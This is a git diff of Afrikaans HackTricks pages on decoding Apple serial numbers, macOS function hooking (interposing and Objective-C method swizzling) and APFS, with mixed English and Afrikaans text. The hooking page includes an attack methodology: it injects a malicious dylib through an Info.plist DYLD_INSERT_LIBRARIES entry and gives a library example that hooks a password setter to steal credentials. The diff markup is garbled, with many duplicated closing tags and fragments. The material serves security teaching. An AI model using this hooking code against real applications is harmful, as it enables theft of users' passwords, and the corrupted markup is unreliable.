* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
1. **Inligting Ontsluiting**: Deur 'n DEP-geregistreerde serienommer te verskaf, kan sensitiewe organisatoriese inligting wat in die DEP profiel bevat is, verkry word.
|
||||
|
|
|
@ -1,71 +1,93 @@
|
|||
# macOS Seriële Nommer
|
||||
# macOS Serienommer
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Apple-toestelle na 2010 het serienommers wat bestaan uit **12 alfanumeriese karakters**, waarvan elke segment spesifieke inligting oordra:
|
||||
Apple toestelle na 2010 het serienommers wat bestaan uit **12 alfanumeriese karakters**, elke segment wat spesifieke inligting oordra:
|
||||
|
||||
- **Eerste 3 Karakters**: Dui die **vervaardigingsplek** aan.
|
||||
- **Karakters 4 & 5**: Dui die **jaar en week van vervaardiging** aan.
|
||||
- **Karakters 6 tot 8**: Diens as 'n **unieke identifiseerder** vir elke toestel.
|
||||
- **Eerste 3 Karakters**: Dui die **produksie ligging** aan.
|
||||
- **Karakter 4 & 5**: Dui die **jaar en week van vervaardiging** aan.
|
||||
- **Karakter 6 tot 8**: Dien as 'n **unieke identifiseerder** vir elke toestel.
|
||||
- **Laaste 4 Karakters**: Spesifiseer die **modelnommer**.
|
||||
|
||||
Byvoorbeeld, die serienommer **C02L13ECF8J2** volg hierdie struktuur.
|
||||
|
||||
### **Vervaardigingsplekke (Eerste 3 Karakters)**
|
||||
### **Produksie Ligging (Eerste 3 Karakters)**
|
||||
Sekere kodes verteenwoordig spesifieke fabrieke:
|
||||
- **FC, F, XA/XB/QP/G8**: Verskeie plekke in die VSA.
|
||||
- **RN**: Meksiko.
|
||||
- **RN**: Mexiko.
|
||||
- **CK**: Cork, Ierland.
|
||||
- **VM**: Foxconn, Tsjeggiese Republiek.
|
||||
- **VM**: Foxconn, Tsjeggië.
|
||||
- **SG/E**: Singapoer.
|
||||
- **MB**: Maleisië.
|
||||
- **PT/CY**: Korea.
|
||||
- **EE/QT/UV**: Taiwan.
|
||||
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Verskillende plekke in China.
|
||||
- **C0, C3, C7**: Spesifieke stede in China.
|
||||
- **RM**: Opgelapte toestelle.
|
||||
- **RM**: Gerenoveerde toestelle.
|
||||
|
||||
### **Vervaardigingsjaar (4de Karakter)**
|
||||
Hierdie karakter wissel van 'C' (wat die eerste helfte van 2010 verteenwoordig) tot 'Z' (tweede helfte van 2019), met verskillende letters wat verskillende halfjaarperiodes aandui.
|
||||
### **Jaar van Vervaardiging (4de Karakter)**
|
||||
Hierdie karakter wissel van 'C' (wat die eerste helfte van 2010 verteenwoordig) tot 'Z' (tweede helfte van 2019), met verskillende letters wat verskillende helfjaarperiodes aandui.
|
||||
|
||||
### **Vervaardigingsweek (5de Karakter)**
|
||||
Syfers 1-9 stem ooreen met weke 1-9. Die letters C-Y (uitgesluit klinkers en 'S') verteenwoordig weke 10-27. Vir die tweede helfte van die jaar word 26 by hierdie nommer gevoeg.
|
||||
### **Week van Vervaardiging (5de Karakter)**
|
||||
Cijfers 1-9 kom ooreen met weke 1-9. Letters C-Y (uitgesluit vokale en 'S') verteenwoordig weke 10-27. Vir die tweede helfte van die jaar, word 26 by hierdie nommer gevoeg.
|
||||
|
||||
### **Unieke Identifiseerder (Karakters 6 tot 8)**
|
||||
Hierdie drie syfers verseker dat elke toestel, selfs van dieselfde model en lot, 'n unieke serienommer het.
|
||||
|
||||
### **Modelnommer (Laaste 4 Karakters)**
|
||||
Hierdie syfers identifiseer die spesifieke model van die toestel.
|
||||
|
||||
### Verwysing
|
||||
|
||||
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# macOS Funksie Hooking
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Funksie Interposing
|
||||
## Funksie Interposering
|
||||
|
||||
Skep 'n **dylib** met 'n **`__interpose`**-afdeling (of 'n afdeling wat gemerk is met **`S_INTERPOSING`**) wat tuples van **funksie-aanwysers** bevat wat verwys na die **oorspronklike** en die **vervangings**-funksies.
|
||||
Skep 'n **dylib** met 'n **`__interpose`** afdeling (of 'n afdeling gemerk met **`S_INTERPOSING`**) wat tupels van **funksie wysers** bevat wat na die **oorspronklike** en die **vervanging** funksies verwys.
|
||||
|
||||
Injecteer dan die dylib met **`DYLD_INSERT_LIBRARIES`** (die interposing moet plaasvind voordat die hoofprogram laai). Uiteraard geld die [**beperkings** wat op die gebruik van **`DYLD_INSERT_LIBRARIES`** van toepassing is, ook hier](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
Dan, **inspuit** die dylib met **`DYLD_INSERT_LIBRARIES`** (die interposering moet plaasvind voordat die hoof toepassing laai). Dit is duidelik dat die [**beperkings** wat op die gebruik van **`DYLD_INSERT_LIBRARIES`** van toepassing is, hier ook van toepassing is](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
|
||||
### Interpose printf
|
||||
|
||||
|
@ -56,71 +57,9 @@ printf("Hello World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="interpose2.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
// Function pointer type for the original function
|
||||
typedef int (*orig_open_type)(const char *pathname, int flags);
|
||||
|
||||
// Function pointer type for the interposed function
|
||||
typedef int (*interposed_open_type)(const char *pathname, int flags);
|
||||
|
||||
// Define the interposed function
|
||||
int interposed_open(const char *pathname, int flags) {
|
||||
printf("Interposed open called with pathname: %s\n", pathname);
|
||||
|
||||
// Get the address of the original function
|
||||
orig_open_type orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Call the original function
|
||||
int result = orig_open(pathname, flags);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Define the constructor function
|
||||
__attribute__((constructor))
|
||||
void my_constructor() {
|
||||
printf("Constructor called\n");
|
||||
|
||||
// Get the address of the interposed function
|
||||
interposed_open_type interposed_open = (interposed_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Get the address of the original function
|
||||
orig_open_type orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
|
||||
// Call the interposed function
|
||||
interposed_open("file.txt", 0);
|
||||
|
||||
// Call the original function
|
||||
orig_open("file.txt", 0);
|
||||
}
|
||||
```
|
||||
|
||||
This code demonstrates how to use function hooking in macOS using the `interpose` mechanism. The `interpose` mechanism allows you to intercept and replace function calls at runtime.
|
||||
|
||||
In this example, we define an interposed function called `interposed_open` that will be called instead of the original `open` function. The `interposed_open` function simply prints the pathname argument and then calls the original `open` function.
|
||||
|
||||
To use the `interpose` mechanism, we need to define a constructor function called `my_constructor`. The constructor function is automatically called when the shared library is loaded. In the constructor function, we get the addresses of both the interposed and original `open` functions using `dlsym`. We then call the interposed function to demonstrate that it is being called instead of the original function. Finally, we call the original function to show that we can still call it if needed.
|
||||
|
||||
To compile and use this code, you can use the following commands:
|
||||
|
||||
```bash
|
||||
gcc -shared -o interpose.dylib interpose.c -ldl
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./program
|
||||
```
|
||||
|
||||
Replace `program` with the name of the program you want to run with the interposed function.
|
||||
|
||||
When you run the program, you should see the output from the interposed function followed by the output from the original function.
|
||||
|
||||
This technique can be useful for various purposes, such as logging function calls, modifying function behavior, or implementing security measures.
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="interpose2.c" %}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
@ -155,21 +94,21 @@ Hello from interpose
|
|||
```
|
||||
## Metode Swizzling
|
||||
|
||||
In ObjectiveC word 'n metode soos volg geroep: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
In ObjectiveC is dit hoe 'n metode aangeroep word: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Die **objek**, die **metode** en die **parameters** is nodig. En wanneer 'n metode geroep word, word 'n **boodskap gestuur** deur die gebruik van die funksie **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
Dit is nodig om die **objek**, die **metode** en die **params** te hê. En wanneer 'n metode aangeroep word, word 'n **msg gestuur** met die funksie **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Die objek is **`someObject`**, die metode is **`@selector(method1p1:p2:)`** en die argumente is **value1**, **value2**.
|
||||
|
||||
Deur die objekstrukture te volg, is dit moontlik om 'n **array van metodes** te bereik waar die **name** en **pointer** na die metodekode **geleë** is.
|
||||
Volg die objekstrukture, dit is moontlik om 'n **array van metodes** te bereik waar die **name** en **pointers** na die metodekode **geleë** is.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat omdat metodes en klasse gebaseer word op hul name, hierdie inligting in die binêre lêer gestoor word, so dit is moontlik om dit te herwin met `otool -ov </path/bin>` of [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
Let daarop dat omdat metodes en klasse toeganklik is op grond van hul name, word hierdie inligting in die binêre gestoor, so dit is moontlik om dit te herwin met `otool -ov </path/bin>` of [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
{% endhint %}
|
||||
|
||||
### Toegang tot die rou metodes
|
||||
|
||||
Dit is moontlik om die inligting van die metodes soos naam, aantal parameters of adres te bekom, soos in die volgende voorbeeld:
|
||||
Dit is moontlik om toegang te verkry tot die inligting van die metodes soos naam, aantal params of adres soos in die volgende voorbeeld:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
|
@ -237,10 +176,10 @@ return 0;
|
|||
```
|
||||
### Metode Swizzling met method\_exchangeImplementations
|
||||
|
||||
Die funksie **`method_exchangeImplementations`** maak dit moontlik om die **adres** van die **implementering** van een funksie te **verander** na die ander.
|
||||
Die funksie **`method_exchangeImplementations`** laat toe om die **adres** van die **implementering** van **een funksie vir die ander** te **verander**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dus, wanneer 'n funksie geroep word, word die ander een **uitgevoer**.
|
||||
So wanneer 'n funksie aangeroep word, wat **uitgevoer word is die ander een**.
|
||||
{% endhint %}
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
@ -286,16 +225,16 @@ return 0;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
In hierdie geval, as die **implementasie-kode van die regmatige** metode die **metode-naam** **verifieer**, kan dit hierdie swizzling opspoor en voorkom dat dit uitgevoer word.
|
||||
In hierdie geval, as die **implementasiekode van die wettige** metode **verifieer** die **metode** **naam**, kan dit hierdie swizzling **opspoor** en dit verhinder om te loop.
|
||||
|
||||
Die volgende tegniek het nie hierdie beperking nie.
|
||||
{% endhint %}
|
||||
|
||||
### Metode Swizzling met method\_setImplementation
|
||||
|
||||
Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes verander, een van die ander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die implementasie van 'n metode **verander vir die ander**.
|
||||
Die vorige formaat is vreemd omdat jy die implementasie van 2 metodes een van die ander verander. Deur die funksie **`method_setImplementation`** te gebruik, kan jy die **implementasie** van 'n **metode vir die ander een** **verander**.
|
||||
|
||||
Onthou net om die adres van die implementasie van die oorspronklike een te **stoor** as jy dit van die nuwe implementasie gaan oproep voordat jy dit oorskryf, want later sal dit baie moeilik wees om daardie adres te vind.
|
||||
Onthou net om die **adres van die implementasie van die oorspronklike een** te **stoor** as jy dit van die nuwe implementasie af gaan aanroep voordat jy dit oorskryf, want later sal dit baie moeilik wees om daardie adres te lokaliseer.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
@ -347,17 +286,17 @@ return 0;
|
|||
}
|
||||
}
|
||||
```
|
||||
## Hooking Aanval Metodologie
|
||||
## Hooking Attack Methodology
|
||||
|
||||
Op hierdie bladsy is verskillende maniere bespreek om funksies te haker. Dit betrek egter **die uitvoering van kode binne die proses om aan te val**.
|
||||
In hierdie bladsy is verskillende maniere om funksies te hook te bespreek. Dit het egter behels **om kode binne die proses te loop om aan te val**.
|
||||
|
||||
Om dit te doen, is die maklikste tegniek om 'n [Dyld via omgewingsveranderlikes of kaping](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) in te spuit. Ek vermoed egter dat dit ook gedoen kan word deur [Dylib-prosesinjeksie](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Om dit te doen, is die maklikste tegniek om te gebruik om 'n [Dyld via omgewing veranderlikes of hijacking](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) in te spuit. Ek vermoed dit kan ook gedoen word via [Dylib proses inspuiting](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Beide opsies is egter **beperk** tot **onbeskermde** binnerwerke/prosesse. Kyk na elke tegniek om meer te leer oor die beperkings.
|
||||
Beide opsies is egter **beperk** tot **onbeskermde** binêre/prosesse. Kyk na elke tegniek om meer oor die beperkings te leer.
|
||||
|
||||
'n Funksie-hakeraanval is egter baie spesifiek, 'n aanvaller sal dit doen om **gevoelige inligting uit 'n proses te steel** (as jy nie dit sou doen nie, sou jy net 'n prosesinjeksie-aanval doen). En hierdie gevoelige inligting kan in gebruikers afgelaaide programme soos MacPass wees.
|
||||
'n Funksie hooking aanval is egter baie spesifiek, 'n aanvaller sal dit doen om **sensitiewe inligting van binne 'n proses te steel** (as nie, sou jy net 'n proses inspuiting aanval doen). En hierdie sensitiewe inligting mag geleë wees in gebruiker afgelaaide toepassings soos MacPass.
|
||||
|
||||
Die aanvaller se vektor sou dus wees om óf 'n kwesbaarheid te vind óf die handtekening van die toepassing te verwyder, die **`DYLD_INSERT_LIBRARIES`** omgewingsveranderlike deur die Info.plist van die toepassing in te spuit en iets soos die volgende by te voeg:
|
||||
Die aanvallervector sou wees om of 'n kwesbaarheid te vind of die handtekening van die toepassing te verwyder, die **`DYLD_INSERT_LIBRARIES`** omgewing veranderlike deur die Info.plist van die toepassing in te spuit en iets soos:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
|
@ -365,7 +304,7 @@ Die aanvaller se vektor sou dus wees om óf 'n kwesbaarheid te vind óf die hand
|
|||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
en registreer dan die toepassing **weer**:
|
||||
en dan **herregistreer** die toepassing:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -373,13 +312,13 @@ en registreer dan die toepassing **weer**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Voeg in daardie biblioteek die hooking-kode by om die inligting uit te skakel: Wagwoorde, boodskappe...
|
||||
Voeg in daardie biblioteek die hooking kode in om die inligting te exfiltreer: Wagwoorde, boodskappe...
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat in nuwer weergawes van macOS, as jy die handtekening van die toepassingsbinêre lêer **verwyder** en dit voorheen uitgevoer is, sal macOS die toepassing **nie meer uitvoer nie**.
|
||||
Let daarop dat in nuwer weergawes van macOS, as jy die **handtekening verwyder** van die toepassingsbinêre en dit voorheen uitgevoer is, macOS **nie die toepassing** weer sal uitvoer nie.
|
||||
{% endhint %}
|
||||
|
||||
#### Biblioteekvoorbeeld
|
||||
#### Biblioteek voorbeeld
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
|
@ -419,16 +358,17 @@ real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
|||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,43 @@
|
|||
# macOS AppleFS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Apple Propietary-lêersisteem (APFS)
|
||||
## Apple Eienaarskap Lêerstelsel (APFS)
|
||||
|
||||
**Apple-lêersisteem (APFS)** is 'n moderne lêersisteem wat ontwerp is om die Hierargiese Lêersisteem Plus (HFS+) te vervang. Die ontwikkeling daarvan is gedryf deur die behoefte aan **verbeterde prestasie, sekuriteit en doeltreffendheid**.
|
||||
**Apple Lêerstelsel (APFS)** is 'n moderne lêerstelsel wat ontwerp is om die Hiërargiese Lêerstelsel Plus (HFS+) te vervang. Die ontwikkeling daarvan is gedryf deur die behoefte aan **verbeterde prestasie, sekuriteit en doeltreffendheid**.
|
